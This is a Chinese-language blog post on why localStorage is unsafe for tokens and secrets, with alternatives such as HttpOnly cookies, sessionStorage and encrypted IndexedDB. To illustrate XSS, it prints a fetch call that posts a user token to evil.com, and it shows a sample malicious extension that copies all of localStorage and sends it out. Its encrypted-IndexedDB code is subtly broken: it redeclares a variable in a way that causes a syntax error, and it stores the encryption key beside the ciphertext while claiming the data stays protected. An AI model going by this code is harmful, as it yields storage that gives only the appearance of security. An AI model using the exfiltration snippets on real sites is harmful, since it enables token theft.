写点什么

如何安全使用 localStorage 保护敏感数据

作者:qife
  • 2025-08-09
    福建
  • 本文字数:2269 字

    阅读完需:约 7 分钟

localStorage 让你担忧?以下是锁定它的方法

一直在 localStorage 中存储敏感数据,认为它既安全又方便?其实不然。一个错误就可能暴露一切:用户令牌、私钥等等。在 localStorage 中存储敏感数据就像把家门钥匙放在门垫下——容易获取,但随时可能引发灾难。

为什么 localStorage 是个陷阱

localStorage 看似完美——浏览器中简单的键值存储。设置一个值,它会持久化,之后可以检索。


localStorage.setItem("userToken", "super-secret-token");
复制代码


任何在页面上运行的脚本都能访问它。就像一个没有锁的保险箱。

威胁 1:跨站脚本(XSS)攻击

恶意脚本可能通过用户输入或不受信任的第三方库潜入你的应用。它们只需一行代码就能读取 localStorage。


const stolenToken = localStorage.getItem("userToken");
复制代码


OWASP 2023 年报告将 XSS 列为顶级 Web 漏洞,53%的测试应用存在可被利用的缺陷。想象黑客获取用户会话令牌的场景:


fetch("https://evil.com/steal", {  method: "POST",  body: localStorage.getItem("userToken"),});
复制代码


用户的信任可能在一夜之间崩塌。

威胁 2:第三方脚本漏洞

当你引入流行的分析脚本或闪亮的新 UI 库时,如果它们被攻破,也能访问 localStorage。


// 被攻破的第三方脚本console.log(localStorage.getItem("userToken")); // 发送到恶意地点
复制代码


现代应用通常加载数十个外部脚本。一个库的漏洞就可能泄露一切。你无法预测哪个脚本会变坏。

威胁 3:浏览器扩展利用

浏览器扩展可能向你的网页注入脚本并窃取 localStorage。大多数扩展是合法的,但有些会变坏或被黑。


// 恶意扩展代码const observer = new MutationObserver(() => {  // 获取所有localStorage数据  const data = { ...localStorage };  // 发送到可疑服务器  chrome.runtime.sendMessage({    type: "STOLEN_DATA",    payload: data,  });});observer.observe(document, { subtree: true, childList: true });
复制代码


chrome.runtime API 允许扩展与其组件通信,处理服务工作者、生命周期事件或路径转换。observe()方法设置 MutationObserver 来监视 DOM 变化。这就是为什么 localStorage 对敏感数据很危险——一个坏扩展就能暴露一切。

更安全的数据存储方式

改用更安全的存储选项来保护你的用户。

🔒 选项 1:HttpOnly Cookies

带有 HttpOnly 标志的 Cookie 无法被 JavaScript 访问。它们会随每个请求安全地发送到你的服务器。


// 服务器端:设置安全Cookieres.cookie("refresh_token", refreshToken, {  httpOnly: true, // JavaScript无法访问  secure: true, // 仅HTTPS  sameSite: "strict", // 防止CSRF  path: "/api/refresh", // 限定到特定端点});
复制代码


你需要管理服务器端验证。

🔒 选项 2:sessionStorage

sessionStorage 类似 localStorage,但在标签页关闭时清除。它是敏感数据的短期保险箱。sessionStorage 的主要优势是可以强制其生命周期。数据会自动清理,降低了敏感数据泄露的风险。


const sessionManager = {  storeTemporaryData(key, value) {    sessionStorage.setItem(      key,      JSON.stringify({        value,        timestamp: Date.now(),        expiresIn: 30 * 60 * 1000, // 30分钟      })    );  },  getTemporaryData(key) {    const data = sessionStorage.getItem(key);    if (!data) return null;    const { value, timestamp, expiresIn } = JSON.parse(data);    // 自动清除旧数据    if (Date.now() - timestamp > expiresIn) {      sessionStorage.removeItem(key);      return null;    }    return value;  },  refreshData(key) {    const data = this.getTemporaryData(key);    if (data) {      this.storeTemporaryData(key, data); // 重置过期时间    }    return data;  },};
复制代码


它非常适合单次会话数据,如表单草稿。

🔒 选项 3:加密 IndexedDB

带加密的 IndexedDB 为复杂应用提供强大存储。它允许存储复杂数据结构、二进制数据,并可作为高效的加密数据存储。非常适合缓存敏感数据的离线优先应用。


const secureStore = {  async encrypt(data) {    // 使用Web Crypto API生成唯一加密密钥    const key = await crypto.subtle.generateKey(      { name: "AES-GCM", length: 256 },      true,      ["encrypt", "decrypt"]    );    // 将数据转换为缓冲区以便加密    const encoder = new TextEncoder();    const dataBuffer = encoder.encode(JSON.stringify(data));    // 为每次加密生成随机IV    const iv = crypto.getRandomValues(new Uint8Array(12));    // 加密数据    const encryptedData = await crypto.subtle.encrypt(      { name: "AES-GCM", iv },      key,      dataBuffer    );    return {      encrypted: encryptedData,      iv,      key,    };  },  async store(key, value) {    const db = await openDB("secureStore", 1, {      upgrade(db) {        // 如有需要,创建带索引的存储        db.createObjectStore("encrypted", { keyPath: "id" });      },    });    const { encrypted, iv, key } = await this.encrypt(value);    // 存储带元数据的加密数据    await db.put("encrypted", {      id: key,      data: encrypted,      iv,      timestamp: Date.now(),    });  },};
复制代码


你控制加密密钥,保持数据安全。

最终建议

选择适合你应用流程的方案。你的用户会感到安全,你的应用会更强大。更多精彩内容 请关注我的个人公众号 公众号(办公 AI 智能小助手)公众号二维码


办公AI智能小助手


用户头像

qife

关注

还未添加个人签名 2021-05-19 加入

还未添加个人简介

评论

发布
暂无评论
如何安全使用localStorage保护敏感数据_数据加密_qife_InfoQ写作社区